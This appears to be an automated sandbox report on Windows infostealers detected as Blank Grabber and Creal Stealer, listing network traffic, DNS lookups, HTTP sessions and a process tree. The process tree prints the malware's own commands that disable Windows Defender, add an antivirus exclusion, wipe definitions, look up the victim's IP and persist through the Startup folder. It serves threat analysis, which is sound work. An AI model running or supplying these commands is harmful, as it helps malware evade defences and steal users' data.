Nov 10, 2024 17:02:29.505019903 CET	443	49714	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:29.505075932 CET	49714	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:29.506382942 CET	49714	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:29.506527901 CET	49714	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:29.507611036 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:29.507644892 CET	443	49719	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:29.507709026 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:29.508034945 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:29.508045912 CET	443	49719	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:29.788520098 CET	443	49713	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:29.788954020 CET	49713	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:29.788980007 CET	443	49713	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:29.790083885 CET	443	49713	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:29.790148020 CET	49713	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:29.791591883 CET	49713	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:29.791591883 CET	49713	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:30.595789909 CET	443	49719	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:30.596311092 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:30.596327066 CET	443	49719	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:30.597358942 CET	443	49719	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:30.597522974 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:30.598717928 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:30.598886013 CET	443	49719	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:30.598937035 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:30.599013090 CET	49719	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:42.996911049 CET	49794	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:43.001961946 CET	80	49794	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:43.002042055 CET	49794	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:43.002326012 CET	49794	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:43.008110046 CET	80	49794	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:43.607237101 CET	80	49794	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:43.607558012 CET	49794	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:43.612862110 CET	80	49794	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:43.612915993 CET	49794	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:46.521658897 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:46.521676064 CET	443	49811	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:46.521735907 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:46.526444912 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:46.526453972 CET	443	49811	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:46.555805922 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:46.555841923 CET	443	49812	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:46.555922985 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:46.556348085 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:46.556360960 CET	443	49812	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:47.138223886 CET	443	49811	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:47.138859987 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.138871908 CET	443	49811	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:47.139734030 CET	443	49811	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:47.139796972 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.141269922 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.141369104 CET	443	49811	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:47.141424894 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.141468048 CET	49811	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.142456055 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:47.142469883 CET	443	49818	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:47.142533064 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:47.142822981 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:47.142838001 CET	443	49818	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:47.401165009 CET	443	49812	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:47.401561022 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:47.401576042 CET	443	49812	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:47.402451992 CET	443	49812	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:47.402534008 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:47.403723955 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:47.403834105 CET	443	49812	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:47.403888941 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:47.403888941 CET	49812	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:47.405117035 CET	49819	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.405138016 CET	443	49819	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:47.405189037 CET	49819	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.405483007 CET	49819	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:47.405493975 CET	443	49819	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:48.000951052 CET	443	49819	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:48.001647949 CET	49819	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:48.001663923 CET	443	49819	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:48.002547979 CET	443	49819	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:48.002605915 CET	49819	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:48.003464937 CET	49819	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:48.003567934 CET	49819	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:48.004371881 CET	49824	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:48.004391909 CET	443	49824	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:48.004561901 CET	49824	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:48.004861116 CET	49824	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:48.004868031 CET	443	49824	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:48.266185999 CET	443	49818	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:48.268960953 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:48.268973112 CET	443	49818	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:48.269968033 CET	443	49818	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:48.270030022 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:48.312999964 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:48.313119888 CET	443	49818	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:48.313189983 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:48.319066048 CET	49818	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:49.097285986 CET	443	49824	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:49.098912001 CET	49824	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:49.098929882 CET	443	49824	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:49.100567102 CET	443	49824	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:49.100639105 CET	49824	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:49.101515055 CET	49824	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:49.101634026 CET	49824	443	192.168.2.6	159.89.102.253

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 10, 2024 17:02:20.044852018 CET	53377	53	192.168.2.6	1.1.1.1
Nov 10, 2024 17:02:20.053761005 CET	53	53377	1.1.1.1	192.168.2.6
Nov 10, 2024 17:02:21.277750015 CET	62033	53	192.168.2.6	1.1.1.1
Nov 10, 2024 17:02:21.285059929 CET	53	62033	1.1.1.1	192.168.2.6
Nov 10, 2024 17:02:22.820998907 CET	61980	53	192.168.2.6	1.1.1.1
Nov 10, 2024 17:02:22.828632116 CET	53	61980	1.1.1.1	192.168.2.6
Nov 10, 2024 17:02:28.021780968 CET	61340	53	192.168.2.6	1.1.1.1
Nov 10, 2024 17:02:28.028923035 CET	53	61340	1.1.1.1	192.168.2.6
Nov 10, 2024 17:02:28.036401987 CET	65474	53	192.168.2.6	1.1.1.1
Nov 10, 2024 17:02:28.045572042 CET	53	65474	1.1.1.1	192.168.2.6
Nov 10, 2024 17:02:28.652357101 CET	60628	53	192.168.2.6	1.1.1.1
Nov 10, 2024 17:02:28.659907103 CET	53	60628	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 10, 2024 17:02:20.044852018 CET	192.168.2.6	1.1.1.1	0x890b	Standard query (0)	blank-v1rwt.in	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:21.277750015 CET	192.168.2.6	1.1.1.1	0x2679	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:22.820998907 CET	192.168.2.6	1.1.1.1	0x48f6	Standard query (0)	ifconfig.me	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.021780968 CET	192.168.2.6	1.1.1.1	0xa1a5	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.036401987 CET	192.168.2.6	1.1.1.1	0xb5df	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.652357101 CET	192.168.2.6	1.1.1.1	0x5499	Standard query (0)	geolocation-db.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 10, 2024 17:02:20.053761005 CET	1.1.1.1	192.168.2.6	0x890b	Name error (3)	blank-v1rwt.in	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:21.285059929 CET	1.1.1.1	192.168.2.6	0x2679	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:22.828632116 CET	1.1.1.1	192.168.2.6	0x48f6	No error (0)	ifconfig.me		34.160.111.145	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.028923035 CET	1.1.1.1	192.168.2.6	0xa1a5	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.028923035 CET	1.1.1.1	192.168.2.6	0xa1a5	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.028923035 CET	1.1.1.1	192.168.2.6	0xa1a5	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.045572042 CET	1.1.1.1	192.168.2.6	0xb5df	No error (0)	api.gofile.io		45.112.123.126	A (IP address)	IN (0x0001)	false
Nov 10, 2024 17:02:28.659907103 CET	1.1.1.1	192.168.2.6	0x5499	No error (0)	geolocation-db.com		159.89.102.253	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

ifconfig.me

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49700	208.95.112.1	80	2536	C:\Users\user\Desktop\Built.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 17:02:21.306849957 CET	117	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Nov 10, 2024 17:02:21.908087969 CET	174	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 16:02:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49703	34.160.111.145	80	5388	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 17:02:22.844841003 CET	75	OUT	GET / HTTP/1.1 Host: ifconfig.me User-Agent: curl/7.83.1 Accept: /
Nov 10, 2024 17:02:23.456208944 CET	165	IN	HTTP/1.1 200 OK date: Sun, 10 Nov 2024 16:02:22 GMT content-type: text/plain Content-Length: 14 access-control-allow-origin: * via: 1.1 google Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 Data Ascii: 173.254.250.72

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49794	34.160.111.145	80	3164	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 17:02:43.002326012 CET	75	OUT	GET / HTTP/1.1 Host: ifconfig.me User-Agent: curl/7.83.1 Accept: /
Nov 10, 2024 17:02:43.607237101 CET	165	IN	HTTP/1.1 200 OK date: Sun, 10 Nov 2024 16:02:42 GMT content-type: text/plain Content-Length: 14 access-control-allow-origin: * via: 1.1 google Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 Data Ascii: 173.254.250.72

Target ID:	0
Start time:	11:02:13
Start date:	10/11/2024
Path:	C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe"
Imagebase:	0x7ff606380000
File size:	24'810'296 bytes
MD5 hash:	3AC5F99224A92851C80FE4178FFF6002
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:02:14
Start date:	10/11/2024
Path:	C:\Users\user\Desktop\Creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Creal.exe"
Imagebase:	0x7ff6d9240000
File size:	16'912'015 bytes
MD5 hash:	017603B860F67F7F65F724E519465926
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:02:14
Start date:	10/11/2024
Path:	C:\Users\user\Desktop\Built.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Built.exe"
Imagebase:	0x7ff65e280000
File size:	7'849'062 bytes
MD5 hash:	12E9F3CE18351EE539646C23CC862C5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000003.00000003.2109058666.00000124EBC34000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000003.00000003.2109058666.00000124EBC32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:02:15
Start date:	10/11/2024
Path:	C:\Users\user\Desktop\Built.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Built.exe"
Imagebase:	0x7ff65e280000
File size:	7'849'062 bytes
MD5 hash:	12E9F3CE18351EE539646C23CC862C5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:02:17
Start date:	10/11/2024
Path:	C:\Users\user\Desktop\Creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Creal.exe"
Imagebase:	0x7ff6d9240000
File size:	16'912'015 bytes
MD5 hash:	017603B860F67F7F65F724E519465926
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'"
Imagebase:	0x7ff6b7320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff6b7320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff6b7320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:02:18
Start date:	10/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff6b7320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:02:19
Start date:	10/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:02:19
Start date:	10/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7c4f90000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:02:19
Start date:	10/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff75ae80000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:02:21
Start date:	10/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl ifconfig.me"
Imagebase:	0x7ff6b7320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:02:21
Start date:	10/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:02:21
Start date:	10/11/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl ifconfig.me
Imagebase:	0x7ff7f84e0000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:02:23
Start date:	10/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:02:30
Start date:	10/11/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff6eb860000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:02:37
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe"
Imagebase:	0x7ff7da470000
File size:	16'912'015 bytes
MD5 hash:	017603B860F67F7F65F724E519465926
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	11:02:39
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe"
Imagebase:	0x7ff7da470000
File size:	16'912'015 bytes
MD5 hash:	017603B860F67F7F65F724E519465926
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000019.00000002.3354239060.00000227B8F10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	11:02:41
Start date:	10/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl ifconfig.me"
Imagebase:	0x7ff6b7320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:02:41
Start date:	10/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:02:41
Start date:	10/11/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl ifconfig.me
Imagebase:	0x7ff7f84e0000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	32

Executed Functions

Function 00007FF60638DC4C Relevance: 154.6, APIs: 22, Strings: 66, Instructions: 610
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF60638DCA3
LoadLibraryExW.KERNELBASE ref: 00007FF60638DDC3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638DE79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638DE7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638DE85
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638DE8B
GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF60638DEDC
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF60638DEF4
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF60638DF21

Strings

linkinfo.dll, xrefs: 00007FF60638E20B
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF60638E5FF
SetDefaultDllDirectories, xrefs: 00007FF60638DF17
